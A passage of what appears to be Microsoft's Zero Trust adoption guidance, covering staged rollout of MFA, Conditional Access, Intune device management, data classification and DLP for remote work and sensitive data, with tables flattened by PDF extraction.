resources at the right time, and providing just enough access. It also means
revoking access when no longer needed.
Strategic To incrementally reduce the return on investment for cyber-attacks by

needs implementing strong security solutions. The Zero Trust assume breach principle
allows planning to occur to minimize blast radius, attack surfaces and reduce the
recovery time from a breach.
Secure remote and hybrid work scenario outcomes
To be productive, users must be able to use:
Their user account credentials to verify their identity.

Their endpoint (device), such as a PC, tablet, or phone.
The applications you have provided to them.
The data required to perform their job.
A network over which traffic flows between devices and applications, whether the
user and their device are on-premises or on the internet.
Each one of these elements is the target of attackers and must be protected with the
"never trust, always verify" principle of Zero Trust.
The following table provides objectives and their outcomes for the secure remote and
hybrid work scenario.
ﾉ Expand table
Objective Outcome
Productivity Organizations want to extend productivity securely to users and their devices,
without restricting employee capabilities based on workforce location.
Safe access Company data and apps need to be accessed by the right employees in a secure
manner that guards company intellectual property and personal data.
Support end As organizations adopt a hybrid workforce mentality, employees need more
users application and platform capabilities for a secure and mobile work experience.
Increase The security of current or proposed work solutions needs to be increased to help
security organizations scale to mobile workforce requirements. The security capabilities
should equal or exceed what is achievable to the on-premises workforce.
Empower IT The IT team wants to secure the workplace, which starts with securing employee’s
user experience without unduly increasing the friction to users. Furthermore, the
IT team needs processes and visibility to support governance and to enable
detection and mitigation of cyberattacks.
Plan phase

Adoption plans convert the aspirational goals of a Zero Trust strategy into an actionable
plan. Your collective teams can use the adoption plan to guide their technical efforts and
align them with your organization's business strategy.
The motivations and outcomes you define, together with your business leaders and
teams, support the "Why?" for your organization. These become the North Star, or
guiding target, for your strategy. Next comes the technical planning to achieve the
motivations and objectives.
Use the following exercises to help you plan the implementation of your organization's
technology strategy. These exercises support Zero Trust adoption efforts by capturing
prioritized tasks. At the end of this process, you'll have a cloud adoption plan that maps
to the metrics and motivations defined in the cloud adoption strategy.
ﾉ Expand table
Exercise Description
Digital estate Take inventory of your digital estate: identities, devices, apps. Prioritize your
digital estate based on assumptions that align your organization's
motivations and business outcomes.
Initial Align your organization to a technical strategy and adoption plan. The
organizational strategy and plan are based on your organization’s objectives along with
alignment the priorities you identified within your inventory.
Technical skills Create a plan for addressing skills readiness gaps within your organization.
readiness plan
Cloud adoption Develop a cloud adoption plan to manage change across skills, the digital
plan estate, and your organization.
Technical adoption for securing remote and hybrid work involves taking a graduated
approach to ensuring Zero Trust principles are applied to identities, devices, and
applications by requiring that:
Multifactor authentication (MFA) with Conditional Access is applied to all user

identities that are accessing the environment.
Devices are enrolled in device management and monitored for health.
Access to applications and their data requires verifying identities, healthy devices,
and appropriate data access.
Many organizations can take a four-staged approach to these deployment objectives,

summarized in the following chart.
ﾉ Expand table
Verify and secure Register devices with Enroll devices in your Monitor device
every identity with Microsoft Entra ID device management configuration drift
strong authentication solution and apply
Implement Starting recommended security Implement
Integrate SaaS apps point Zero Trust protections passwordless
with Microsoft Entra identity and device authentication
ID for single sign-on access policies Allow only compliant and
trusted devices to access
All new applications Use Microsoft Entra data
use modern application proxy
authentication with on-premises
apps for single sign-
on
This downloadable PowerPoint slide deck to present and report on your

progress through these stages and objectives to business leaders and other
stakeholders. Here's the slide for this business scenario.

If your organization subscribes to a specific Governance Risk & Compliance (GRC) or

Security Operations Center (SOC) strategy, it's vitally important that the technical work
incorporate the configurations that meet these requirements.
Understand your organization

Each organization's needs and composition are different. A multinational enterprise with
many applications and highly standardized security will implement security differently
from an agile startup or a medium-sized organization.
Irrespective of the size and complexity of your organization, the following actions apply:
Inventory users, endpoints, apps, data, and networks to understand the state of
security and estimate the level of effort required to transform the estate.
Document the goals and plan for incremental adoption based on priorities. An
example is to secure identities and Microsoft 365 services, followed by endpoints.
Next, secure apps and SaaS services using modern authentication methods and
segmentation capabilities provided by Conditional Access.
For the principle of using least privileged access, inventory how many accounts
have privileged access and reduce those to the least number of accounts possible.
Accounts that require privileged access should use just-in-time and just-enough-
access (JIT/JEA) to limit standing administration privileges. Should a breach occur,
accounts that are compromised are limited, which minimizes the blast radius.
Except for a "break glass" account, no standing admin access should be permitted
for highly privileged roles, which include application administration roles for
productivity services such as SharePoint, Exchange, and Teams.
Organizational planning and alignment

The implementation and governance of a secure access methodology affects several
overlapping areas and is typically implemented in the order of:
1. Identities
2. Endpoints (devices)
3. Apps
4. Network
Protecting data is also important for securing remote and hybrid work. This topic is
addressed more thoroughly in Identify and protect sensitive business data.
This table summarizes roles that are recommended when building a sponsorship
program and project management hierarchy to determine and drive results.
ﾉ Expand table
Area Program leaders Technical owner roles
Identities CISO, CIO, or Director of Identity Security Security Architect
Program lead from Identity Security or Identity Security or an Identity Architect

Identity Architect
Identity Admin
Security Governance or Identity Admin
User Education Team
Endpoints CISO, CIO, or Director of Identity Security Security Architect
Program lead from Identity Security or an Identity Security or an Infrastructure

Identity Architect Security Architect
Mobile device management (MDM)

Admin
Security Governance or MDM Admin
User Education Team
Apps CISO, CIO, or Director of Application Identity Architect

Security
Developer Architect
Program lead from Apps Management
Network Architect
Cloud Network Architect

Area Program leaders Technical owner roles
Security Governance
Network CISO, CIO, or Director of Network Security Security Architect
Program lead from Networking Leadership Network Architect
Network Engineers
Network Implementers
Networking Governance
organization.
Technical planning and skills readiness

Microsoft provides resources to help you prioritize this work, get started, and mature
your deployment. At this stage we use these resources as planning activities to
understand the impact of the proposed changes and to create an implementation plan.
These resources include prescriptive guidance that you can use as recommended
starting points for your own organization. Adjust the recommendations based on your
priorities and requirements.
ﾉ Expand table
Resource Description
Rapid Modernization Plan This series of checklists enumerate the technical objectives of
(RaMP) checklist: Explicitly each security deployment area in priority order and documents
validate trust for all access the steps you'll need to take to achieving them. It also lists
requests project members who need to be involved for each area.
Using this resource helps you to identify quick wins.
Zero Trust identity and device This solution guide recommends a set of identity and device
access configurations access policies that have been tested together. It includes:
Starting point level policies that get you started and do

not require managing devices.
Enterprise level policies are recommended for Zero Trust.
This requires enrolling devices for endpoint
management.
Use these recommendations as a starting point and, if needed,

adapt the policies for your unique environment and goals.
Manage devices with Intune This solution guide walks through the phases of managing
devices, from actions that don’t require enrolling devices into
management to fully managing devices. These
recommendations are coordinated with the above resources.
Intune Enrollment Options This poster-set provides an easy-to-scan comparison of device

enrollment options per platform.
PDF | Visio
Updated June 2022
MFA deployment plan This deployment guide shows you how to plan and implement
a Microsoft Entra multifactor authentication roll-out.
In addition to these resources, the following sections highlight resources for specific
tasks in the four stages previously defined.
Stage 1
ﾉ Expand table
Deployment objective Resources
Verify and secure every identity with What authentication and verification methods are
strong authentication available in Microsoft Entra ID?
Integrate SaaS apps with Microsoft Entra Add SaaS apps to Microsoft Entra ID and to the
ID for single sign-on scope of policies
New applications use modern Checklist—How are you managing the identity for
authentication your workload?
Stage 2
ﾉ Expand table
Register devices with Microsoft Entra ID Microsoft Entra registered devices
Plan your Microsoft Entra join

implementation
Implement Zero Trust identity and device access Protection levels for Zero Trust identity
policies for the Starting point protection level and device access configurations
Use Microsoft Entra application proxy with on- How to configure single sign-on to an
premises apps for single sign-on Application Proxy application
Stage 3
ﾉ Expand table
Enroll devices into management and apply Manage devices with Intune overview
recommended security protections
Zero Trust identity and device access
configurations
Allow only compliant and trusted devices to access data Set up compliance policies for devices
with Intune
Require healthy and compliant devices

with Intune
Stage 4
ﾉ Expand table
Monitor device configuration drift Deploy device profiles in Microsoft Intune
Monitor device risk and compliance to security baselines
Implement passwordless Increase sign-in security with passwordless

authentication authentication
Cloud adoption plan

An adoption plan is an essential requirement for the successful adoption of Zero Trust. A
Zero Trust adoption plan is an iterative project plan that helps a company transition
from traditional security approaches to a more mature and sophisticated strategy that
includes change management and governance.
Identities, Endpoints, Apps, and Networks are in the scope of this planning phase. Each
of these has a requirement to secure the existing estate and also plans to extend
security to new entities as they arrive as part of a larger onboarding process.
Secure remote and hybrid work solution planning considers that organizations have
existing identities that need to be secured, and new identities must be created that
adhere to security standards.
An adoption plan also includes training your staff to work in a new way to understand
what is required to support your organization, which can include:
Training administrators on new ways of working. Privileged access methods differ
from standing admin access and can raise friction initially until universal
acceptance is reached.
Equipping Helpdesk and IT personnel at all levels with the same benefits
realization message. Increasing security raises attacker friction, balanced by the
benefits of working securely. Ensure that this message is understood and
communicable at all levels.
Creating user adoption and training materials. Security is adopted pervasively as a
shared responsibility and the security benefits aligned to business goals must be
communicated to users. Ensure that user adoption for security is achieved to the
same level as user adoption for new technology.
For more information from the Cloud Adoption Framework, see the Plan for cloud
adoption.
Ready phase
This scenario (securing remote and hybrid work) evaluates and secures identities,
devices, and data over the networks that use them. Since the technologies may be
potentially disruptive, a staged approach is recommended, starting with small projects
offering quick wins that take advantage of your existing licensing and have minimal user
impact.
Begin by building a plan and then testing the plan. Then roll out new configurations and
capabilities incrementally. This provides the opportunity to improve on the plan while
lessons are learned. Be sure to develop a communication plan and announce changes as
you broaden your scope of deployment.
The following diagram illustrates the recommendation to start a project with a small
group to evaluate the changes. This small group can be members of your IT team or a
partner team that is invested in the outcome. Then, pilot the changes with a larger
group. While the illustration includes a third stage of full deployment, this is often
accomplished by gradually increasing the scope of the deployment until your whole
organization is covered.
Pilot
Evaluate
Full deployment

When enrolling devices, for example, the following guidance is recommended.
ﾉ Expand table
Deployment stage Description
Evaluate Stage 1: Identify 50 endpoints for testing
Pilot Stage 2: Identify the next 50-100 endpoints in the production environment
Full deployment Stage 3: Enroll the rest of the endpoints in larger increments
Securing identities starts with adopting MFA and segmenting access using Microsoft
Entra Conditional Access. These features support the principle of verifying explicitly but
require an incremental adoption process. Depending on the approach, the MFA
methodology may need to be rolled out and communicated to users before the switch-
on date, especially for an existing workforce used to using passwords only.
Considered the following elements while planning for this scenario:
Depending on the MFA methodology, user buy-in may need to be sought to use
mobile application-based MFA, versus using a FIDO2 or other token-based
approach. This also applies to Windows Hello for Business.
Conditional Access policies can be complex regarding their evaluation and
decision-making criteria. This requires Conditional Access to be piloted and rolled
out incrementally across the app and user landscape.
Conditional Access may take into account the relative health and patch status of
the endpoint and the user's locations as conditional parameters. If endpoints are
required to be managed to qualify them to access an app or service as an access
condition, then endpoints need to be enrolled into management.
Modern apps that support modern authentication methods readily integrate with
MFA-based authentication and Conditional Access policies. Understanding the
number of applications and their authentication methods is critical.
As you plan and stage the layers of protection to build Zero Trust, take advantage of
resources provided by Microsoft. To secure remote and hybrid work, Microsoft provides
a Common Zero Trust identity and device access policies set. This is a set of policies that
are tested and known to work well together.
Here are the policies for three levels of protection.
Zero Trust identity and device access policies
Device Microsoft Entra Conditional Access Intune device Intune app

Protection compliance protection
level type policies policy policies
Require multifactor Block clients that High risk users must

authentication (MFA) don’t support change password
when sign-in risk is modern
PCs medium or high authentication This policy forces users
to change their
Starting point password when signing
Clients that do not
Require approved use modern in if high risk activity is Apply Level 2 App
apps authentication can detected for their Protection Policies
bypass Conditional account. (APP) data protection
Phones and This policy enforces
tablets mobile app protection Access policies. (one for each
for phones & tablets. platform)
Require MFA when Require compliant Define compliance

sign-in risk is low, PCs and mobile policies (one for
medium, or high devices each platform)
Enterprise
(Recommended for This policy enforces
Zero Trust) Require Intune management Apply Level 2 APP
approved apps for PCs, phones, and data protection
tablets.
Require MFA always

Specialized
This is also available
security for all Office 365
(only if needed for Enterprise plans.
specific data sets or
Require Apply Level 3 APP
users)
approved apps data protection
PCs include devices running the Windows or macOS platforms Requires Microsoft 365 E5, Microsoft 365 E3 with the E5

Phones and tablets include devices running the iOS, iPadOS, or Android platforms
Identity add-on, Office 365 with EMS E5, or individual March 2024
Microsoft Entra ID P2 licenses
This policy set includes a Starting point protection level with minimal user impact. This
set of policies doesn't require enrolling devices into management. When you’re ready
and you’ve enrolled devices, you can then deploy the Enterprise level, which is
recommended for Zero Trust.
In addition to these protection levels, you can incrementally increase the scope of the
policies in the following ways:
Apply the scope of the policies to a small set of users to begin with and then
increase the scope of users included. User segmentation allows for risk mitigation
against service outage or user disruption as only targeted users or devices are
affected.
Start by adding Microsoft 365 apps and services to the scope of the policies. Then
advance to include other SaaS apps your organization uses. When you’re ready,
include apps you built in Azure or other cloud providers in the scope of the
policies.
Finally, don’t forget about your users. User adoption and communication are critical
when implementing security for identities, similar to the importance of the initial user
adoption of moving to Microsoft 365 from datacenter-based services. Single phase
approaches rarely succeed when implementing security services. Security initiatives
often fail due to increased friction for users if changes are disruptive and poorly
communicated and tested. This is where executive sponsorship of security initiatives
works best. When executives demonstrate support by adopting early in the deployment
stages, it's easier for users to follow.
To help with user education and adoption, Microsoft provides end-user rollout
templates and materials you can download. These include instructions for how you can
rebrand these and recommendations for sharing these with users. See
https://aka.ms/entratemplates .
Build and test

After assembling your team, reviewing the recommended technical resources, and
developing a plan to stage your projects and deployment, you'll hopefully have a well-
documented plan. Before formally adopting the plan, be sure to build and test the
configurations in a test environment.
Each technical area, such as a Conditional Access policy set, can be secured by enabling
functionality across the tenant. However, a wrongly configured policy can have far
reaching consequences. For example, a badly written Conditional Access policy may lock
all administrators out of a tenant.
To mitigate risk, consider deploying a test or QA tenant to implement each feature as

you become familiar with it, or roll it out for the first time. A test or QA tenant should be
reasonably representative of your current user environment and be accurate enough for
you to perform QA functions to test that the enabled functionality is understood and
supportive of the function it's securing.
The RAMP Checklist can be used to track your progress. It lists both planning and
implementation steps. The QA tenant is the test bed of the implementation actions as
they're performed for the first time.
The output of this stage should be a documented configuration that is built and tested
initially against the QA tenant with plans to then transition to adoption in the
production tenant where the changes are rolled out incrementally while new learnings
are applied to the plan.
As you roll out new configurations in your production environment, maintain consistent
user messaging and stay on top of how these changes affect your users. Implementing
security features may have a low technology impact, such as enabling just in time
access, but reciprocally have a high process impact, such as administrators needing to
request access to services via an approval workflow to perform their duties.
Similarly, device registration has a low impact on user experience, while implementing
Conditional Access based on device compliance and health requirements may have a
dramatic impact on the user base as users are unable to access services.
Testing each service to understand the impact of the service and planned change is
critical to success. Be aware that some impacts might not be fully apparent until you
begin piloting in production.
Keep track of governance and management changes

The very goal of Zero Trust is to incrementally increase security and implement changes
in the environment that achieve this goal. These changes require changes in the
management and governance models of the environment. As testing and deployment
occurs, be sure to document the changes and impacts to the management and
governance model.
Adopt phase
In the adoption phase, you incrementally implement your strategy and deployment
plans across functional areas. The adopt phase is a larger implementation of the proof
of concept. The deployment plan is executed, and rollout occurs in successive waves,
based on user segmentation and the areas you are targeting across your digital estate.
As recommended, deploy each new configuration into the production tenant as a

limited proof of concept (labeled "Evaluate" in the following diagram).
Pilot
Evaluate
Full deployment

Even though you have already tested the new configurations in a QA environment, be
sure your production deployment plans also document what you are testing and
evaluating and the acceptance criteria for measuring success at each stage. Ideally
choose a subset of low-impact users, endpoints, and apps to test on before broadening
the deployment. Following the same methodology, you learn from the success and
failures of the implementation and update the plans.
Note that some of the functionality that is deployed, even though targeted at a limited
audience, can have a service-wide impact. You can mitigate this impact by identifying
risks during QA testing and ensuring that a roll-back plan exists.
A successful deployment plan includes the following elements:
Adoption and rollout plan to include the user communication strategy

Executive adoption and rollout plan to ensure executive endorsement
User adoption and rollout plan
Project management and governance artifacts
User segmentation by business unit or user impact
Device segmentation by business unit or user impact
Apps ranked by criticality and complexity of implementation
Draft updates for changes in day-to-day management and governance
Govern and manage phases

Security governance is an iterative process. For organizations with existing policies that
govern security across a digital estate, adopting a Zero Trust strategy provides the
incentive to evolve those policies. As security strategy and policies mature over time, so
do cloud governance processes and policies.
In the planning phase, new functionality was tested against a test tenant in which
management activities occurred. It's important to note that implementing the features
that support Zero Trust principles requires a different way of managing the resulting
end-state.
Here are some examples of new requirements for this scenario:
Establish a process to approve administration access when required as opposed to

standing admin access.
Update lifecycle management of users as they enter, use, and exit the organization.
Update the lifecycle management of devices.
Update the release criteria for new apps to be sure these are included in the scope
of Conditional Access policies.
As the rollout plan progresses, management of the resulting environment drives

changes to the management and governance methodology. How the environment is
monitored as a result of Zero Trust changes.
As Zero Trust addresses security risk in the environment, identity object lifecycle
management is no longer optional. Object attestation is a manifestation of object
lifecycle and drives accountability into the business and away from IT as the sole
custodian of the object lifecycle.
Zero Trust requires an increase of maturity in the resultant administration of the estate,
including how users and administrators interact with the rolled-out end-state. See the
following table as an example of potential changes.
ﾉ Expand table
Audience Function Reference
Users User-based object attestation review Manage user and guest user access
with access reviews
Administrators The Identity and Access lifecycles of What is Microsoft Entra ID

Microsoft Entra ID Governance Governance?
Additional resources for day-to-day governance and operation include:
Microsoft Entra reports and monitoring documentation

Microsoft Entra ID Governance documentation
Discusses other governance areas and tools that address several areas. Due to
different organizational needs, not all of the governance features called out in this
document are applicable to all organizations.
Next Steps

resources.
ﾉ Expand table
phase.


phase.
Feedback
Identify and protect sensitive business
data
Article • 04/24/2024
safeguarding your most critical data assets. This scenario focuses on how to identify and
protect sensitive business data.
Digital transformation has led organizations to deal with increasing volumes of data.
However, external collaborators such as partners, vendors, and customers access much
of that shared data outside the corporate network. This shift has created a complex data
landscape, especially when you consider the proliferation of hybrid workforces and
cloud migrations, growing cyberthreats, evolving security, and changing regulatory
requirements around how data is governed and protected.
With hybrid work models, corporate assets and data are on the move. Your organization
needs to control wherever the data is stored and transferred on devices, inside apps,
and with partners. For modern-day security, however, you can no longer rely on
traditional network protection controls.
ﾉ Expand table
Traditional data protection with Modern data protection with Zero Trust
network controls
In traditional networks, network A Zero Trust model applies strong authentication to

perimeter control governs critical data data access requests, using policies to verify every
access, not data sensitivity. You typically identity, and ensuring identities have access to apps
apply labels on sensitive data manually, and data.
which can result in inconsistent data
classification. A Zero Trust model involves identifying sensitive data
and applying classification and protection, including
data loss prevention (DLP). Zero Trust includes
defenses that protect your data even after it has left
your controlled environment. It also includes adaptive
protection to reduce insider risk.
In addition to these protections, Zero Trust includes

continuous monitoring and threat protection to
prevent and limit the scope of a data breach.
The following diagram illustrates the shift from traditional protection with network
controls on the left (from limited known locations) to modern protection with Zero Trust
on the right (to unknown locations) in which protection is applied regardless of where
users and devices are located.
to protection applied
directly to data
from perimeter
control of data

The guidance in this article walks through how to get started with and progress your
strategy for identifying and protecting sensitive data. If your organization is subject to
regulations that protect data, use the Meet regulatory and compliance requirements
article in this series to learn how to apply what you learn in this article to protecting data
that is regulated.
How business leaders think about protecting

sensitive data
for investing in protecting business data as these help inform the strategy, objectives,
and measures for success.
should invest in Zero Trust-based data protection.
ﾉ Expand table
Role Why protecting sensitive data is important
Chief Executive Intellectual property is the backbone of many organizations’ business models.
Officer (CEO) Preventing it from leaking while allowing seamless collaboration with authorized
parties is essential to the business. In organizations dealing with customers’
Role Why protecting sensitive data is important
personally identifiable information (PII), the risk of leakage can result not only in
financial penalties but also damage the company's reputation. Finally, sensitive
business conversations (like mergers and acquisitions, business restructuring,
strategy, and legal matters) can seriously damage an organization if leaked.
Chief Product planning, messaging, branding, and upcoming product announcements

Marketing must be released at the right time and in the right way to maximize impact.
Officer (CMO) Untimely leakage can reduce investment returns and tip off competitors to
upcoming plans.
Chief While traditional approaches for protecting information relied on limiting access
Information to it, protecting sensitive data adequately by using modern technologies
Officer (CIO) enables more flexible collaboration with external parties, as needed, without
increasing risk. Your IT departments can fulfill their mandate to ensure
productivity while minimizing risk.
Chief As the primary function of this role, securing sensitive business data is an
Information integral part of information security. This outcome directly affects the
Security organization’s larger cybersecurity strategy. Advanced security technology and
Officer (CISO) tools provide the ability to monitor data and prevent leakage and loss.
Chief Intellectual property can differentiate a successful business from a failing one.
Technology Protecting this data from oversharing, unauthorized access, and theft is key to
Officer (CTO) ensure future growth of the organization.
Chief Operations data, procedures, and production plans are a key strategic
Operations advantage to an organization. These plans can also reveal strategic
Officer (COO) vulnerabilities that can be exploited by competitors. Protecting this data from
theft, oversharing, and misuse is critical to the continued success of the
business.
Chief Financial Publicly traded companies have a duty to protect specific financial data before
Officer (CFO) it's made public. Other financial data can reveal plans and strategic strengths or
weaknesses. This data must all be protected to both ensure compliance with
existing regulations and maintain strategic advantages.
Chief Regulations across the world mandate protection of PII of customers or

Compliance employees and other sensitive data. The CCO is responsible for ensuring the
Officer (CCO) organization abides by such regulations. A comprehensive information
protection strategy is key to achieving that goal.
Chief Privacy A CPO is typically responsible for ensuring protection of personal data. In
Officer (CPO) organizations that deal with large amounts of customer personal data and
organizations operating in regions with strict privacy regulations, failure to
protect sensitive data can result in steep fines. These organizations also risk
losing customer trust as a consequence. CPOs must also prevent personal data
from being misused in ways that violate customer agreements or laws, which
can include improper sharing of the data within the organization and with
partners.
The adoption cycle for protecting critical
business data
This article walks through this business scenario using the same lifecycle phases as the
Cloud Adoption Framework for Azure—Define strategy, Plan, Ready, Adopt, and Govern
and manage—but adapted for Zero Trust.
ﾉ Expand table

manage

Organizational Test
plans Pilot detect
Strategic goals
Skills Iterate for
readiness maturity
overview.
The Define strategy phase is critical to define and formalize our efforts – it formalizes
the “Why?” of this scenario. In this phase, you understand the scenario through
business, IT, operational and strategic perspectives. You define the outcomes against
which to measure success in the scenario, understanding that security is an incremental
and iterative journey.
needs.
Data protection motivations

The motivations for identifying and protecting sensitive business data are
straightforward, but different parts of your organization have different incentives for
doing this work. The following table summarizes some of these motivations.
ﾉ Expand table
Area Motivations
Business needs To safeguard sensitive business data, especially when shared with partners.
IT needs A standardized data classification schema that can be applied consistently

throughout the digital estate.
Operational Implement data protection in a consistent and standard way, using automation
needs where possible.
Strategic needs Reduce the damage that an insider can cause (intentionally or unintentionally)
or by a bad actor who gains access to the environment.
Note that meeting regulatory requirements might be the primary driving motivation for
some organizations. If this is true for you, go ahead and add this to your organization
strategy and use this business scenario together with the Meet regulatory and
compliance requirements article in this series.
Data protection outcomes

Applying the overall goal of Zero Trust to “never trust, always verify” to your data adds a
significant layer of protection to your environment. It’s important to be clear on the
outcomes you expect to achieve so that you can strike the right balance of protection
and usability for all teams involved, including your users. The following table provides
suggested objectives and outcomes.
ﾉ Expand table
Objective Outcome
Productivity Users can easily collaborate on creating business data or perform their job
functions by using business data.
Safe access Access to data and apps is secured at the appropriate level. Highly sensitive data
requires stricter safeguards, but these protections shouldn't burden users who are
expected to contribute to or use this data.
Sensitive business data is limited to those in need of using it and you've put
controls in place to limit or discourage users from sharing or replicating this data
outside the intended usage group.
Support end Controls for securing data have been integrated into the overall Zero Trust
users architecture. These controls include single sign-on, multifactor authentication
(MFA), and Microsoft Entra Conditional Access, so that users aren't continually
challenged with authentication and authorization requests.
Users receive training on how to classify and share data securely. Users are
enabled to take control of their important data, allowing them to revoke access in
case of need, or track usage of the information after it has been shared.
Data protection policies are automated where possible to lessen the burden on
users.
Increase The addition of data protection across the digital estate protects these critical
security business assets and helps reduce the potential damage from a data breach.
Data protections include safeguards to protect against intentional, unintentional,

or negligent data breaches by current or former employees and partners.
Empower IT Your IT team is empowered with a clear understanding of what qualifies as

sensitive business data. They have a well-reasoned schema to align with and the
technology tools and capabilities to both implement the plans and monitor status
and success.
Plan phase
Adoption plans convert the principles of Zero Trust strategy into an actionable plan.
Your collective teams can use the adoption plan to guide their technical efforts and align
them with your organization's business strategy.
teams, support the “Why?” for your organization and become the North Star for your
strategy. Next comes the technical planning to achieve the objectives.
Technical adoption for identifying and protecting sensitive business data involves:
Discovering and identifying sensitive data across your digital estate.

Curating a classification and protection schema, including DLP.
Rolling out the schema across your digital estate, starting with data in Microsoft
365 and extending the protection to all SaaS apps, your cloud infrastructure, and
data in on-premises repositories. SaaS apps are apps that are outside your
Microsoft 365 subscription but are integrated with your Microsoft Entra tenant.
Protecting your sensitive business data also involves a few related activities, including:
Encrypting network communication.

Managing external access to Teams and projects where sensitive data is shared.
Setting up and using dedicated and isolated teams in Microsoft Teams for projects
that include highly sensitive business data, which should be rare. Most
organizations do not require this level of data security and isolation.

summarized in the following table.
ﾉ Expand table
Discover and Develop and test a Add protection to Extend labels and
identify sensitive classification schema specific labels protection to data in
business data (encryption and other SaaS apps, including
Apply labels to data protection settings) DLP
Discover non- across Microsoft 365
sanctioned SaaS Introduce automatic Extend automated
apps Introduce basic DLP and recommended classification to all
policies labeling in Office apps services
Encrypt network and services
communication Set up secure Microsoft Extend labels and
Teams for sharing data Extend DLP policies protection to data at-
internally and externally across Microsoft 365 rest in on-premises
with business partners services repositories
Implement key insider Protect organization

risk management data in your cloud

policies infrastructure

This recommended staged approach for technical implementation can help give context
to the exercise of understanding your organization. Each organization’s needs for
protecting sensitive business data and the composition and volume of data are
different.
A foundational step in the Zero Trust adoption lifecycle for every business scenario
includes taking inventory. For this business scenario, you take inventory of your
organization’s data.
The following actions apply:
Inventory your data.
First, take stock of where all your data resides, which can be as simple as listing the
apps and repositories with your data. After technologies like sensitivity labeling
have been deployed, you may discover other locations where sensitive data is
being stored. These locations are sometimes referred to as dark or grey IT.
It’s also helpful to estimate how much data you plan to inventory (the volume).
Throughout the recommended technical process, you use the tool set to discover
and identify business data. You’ll learn what kinds of data you have and where this
data resides across services and cloud apps, enabling you to correlate the
sensitivity of the data with the level of exposure of the locations in which it's
present.
For example, Microsoft Defender for Cloud Apps helps you identify SaaS apps you
might not have been aware of. The work of discovering where your sensitive data
resides begins in Stage 1 of the technical implementation and cascades through all
four stages.
Document the goals and plan for incremental adoption based on priorities.
The four stages recommended represent an incremental adoption plan. Adjust this
plan based on your organization’s priorities and the composition of your digital
estate. Be sure to take account of any timeline milestones or obligations for
completing this work.
Inventory any data sets or dedicated projects that require compartmentalized

protection (for example, tented or special projects).
Not every organization requires compartmentalized protection.

The technical work of protecting sensitive business data crosses several overlapping
areas and roles:
Data
Apps
Endpoints
Network
Identities
ﾉ Expand table
Program leaders and Accountability

technical owners
CISO, CIO, or Director of Executive sponsorship

Data Security
Program lead from Data Drive results and cross-team collaboration

Security
Security Architect Advise on configuration and standards, especially around encryption,

key management, and other fundamental technologies
Compliance Officers Map compliance requirements and risks to specific controls and
available technologies
Microsoft 365 Admins Implement changes to your Microsoft 365 tenant for OneDrive and
Protected Folders
Application Owners Identify critical business assets and ensure compatibility of

applications with labeled, protected, and encrypted data
Data Security Admin Implement configuration changes
IT Admin Update standards and policy documents
Security Governance Monitor to ensure compliance

and/or IT Admin
User Education Team Ensure guidance for users reflects policy updates and provide
insights into user acceptance of the labeling taxonomy
The PowerPoint deck of resources for this adoption content includes the following
slide with a stakeholder view that you can customize for your own organization.


Before you embark on the technical work, Microsoft recommends getting to know the
capabilities, how they work together, and best practices for approaching this work. The
following table includes several resources to help your teams gain skills.
ﾉ Expand table
Deployment Acceleration Guide- Learn best practices from the Microsoft Customer
Information Protection and Data Loss Engagement teams. This guidance leads
Prevention organizations to maturity through a crawl, walk, run
model, which aligns with the recommended stages in
this adoption guidance.
RaMP checklist: Data protection Another resource for listing and prioritizing the
recommended work, including stakeholders.
Introduction to Microsoft Purview Data In this resource, you learn about DLP in Microsoft
Loss Prevention (beginner) Purview Information Protection.
Learn how Microsoft 365 information protection and

data lifecycle management solutions help you protect
and govern your data, throughout its lifecycle –
wherever it lives and travels.
Learn module-Icon for the Introduction

to information protection and data
lifecycle management in Microsoft
Purview Microsoft Learn module.
(Intermediate)
Recommended learning paths for becoming a

Certified Information Protection Administrator
Associate.
Certifications-Icon for the Microsoft

Certified: Information Protection
Administrator Associate certification
Stage 1
The Stage 1 deployment objectives include the process of taking inventory of your data.
This includes identifying unsanctioned SaaS apps your organization uses to store,
process, and share data. You can either bring these unsanctioned apps into your app
management process and apply protections, or you can prevent your business data
from being used with these apps.
Discover and identify sensitive business data
Starting with Microsoft 365, some of the primary tools you use to identify sensitive
information that needs to be protected are sensitive information types (SITs) and other
classifiers, including trainable classifiers and fingerprints. These identifiers help find
common sensitive data types, such as credit card numbers or governmental
identification numbers, and identifying sensitive documents and emails using machine
learning and other methods. You can also create custom SITs to identify data that is
unique to your environment, including using exact data matching to differentiate data
pertaining to specific people—for example, customer PII—that needs special protection.
When data is added to your Microsoft 365 environment or modified, it's automatically
analyzed for sensitive content using any SITs that are presently defined in your tenant.
You can use content explorer in the Microsoft Purview compliance portal to see any
occurrences of detected sensitive data across the environment. The results let you know
if you need to customize or tune the SITs for your environment for greater accuracy. The
results also give you a first picture of your data stock and your information protection
status. For example, if you're receiving too many false positives for a SIT, or not finding
known data, you can create custom copies of the standard SITs and modify them so they
work better for your environment. You can also refine these using exact data matching.
Additionally, you can use built-in trainable classifiers to identify documents that belong
to certain categories, such as contracts or freight documents. If you have specific classes
of documents you know you have to identify and potentially protect, you can use
samples in the Microsoft Purview compliance portal to train your own classifiers. These
samples can be used to discover the presence of other documents with similar patterns
of content.
In addition to the content explorer, organizations have access to the Content search
capability to produce custom searches for data in the environment, including using
advanced search criteria and custom filters.
The following table lists resources for discovering sensitive business data.
ﾉ Expand table
Deploy an information Introduces a framework, process, and capabilities you can use to
protection solution with accomplish your specific business objectives for information protection.
Microsoft 365 Purview
Sensitive information Start here to get started with sensitive information types. This library
types includes many articles for experimenting with and optimizing SITs.
Content explorer Scan your Microsoft 365 environment for the occurrence of SITs and
view the results in the content explorer tool.
Trainable classifiers Trainable classifiers allow you to bring samples of the type of content
you want to discover (seeding) and then let the machine learning
engine learn how to discover more of this data. You participate in the
classifier training by validating the results until the accuracy is
improved.
Exact data matching Exact data matching allows you to find sensitive data that matches
existing records—for example, your customers’ PII as recorded in your
line of business apps—which enables you to precisely target such data
with information protection policies, virtually eliminating false positives.
Content search Use Content search for advanced searches, including custom filters. You
can use keywords and Boolean search operators. You can also build
search queries using Keyword Query Language (KQL).
RaMP checklist: Data A checklist of implementation steps with step owners and links to
protection: Know your documentation.
data
Discover non-sanctioned SaaS apps
Your organization likely subscribes to many SaaS apps, such as Salesforce or apps that
are specific to your industry. The SaaS apps that you know about and manage are
considered sanctioned. In later stages, you extend the data protection schema and DLP
policies you create with Microsoft 365 to protect data in these sanctioned SaaS apps.
However, at this stage it’s important to discover non-sanctioned SaaS apps that your
organization is using. This enables you to monitor traffic to and from these apps to
determine if your organization’s business data is being shared to these apps. If so, you
can bring these apps into management and apply protection to this data, starting with
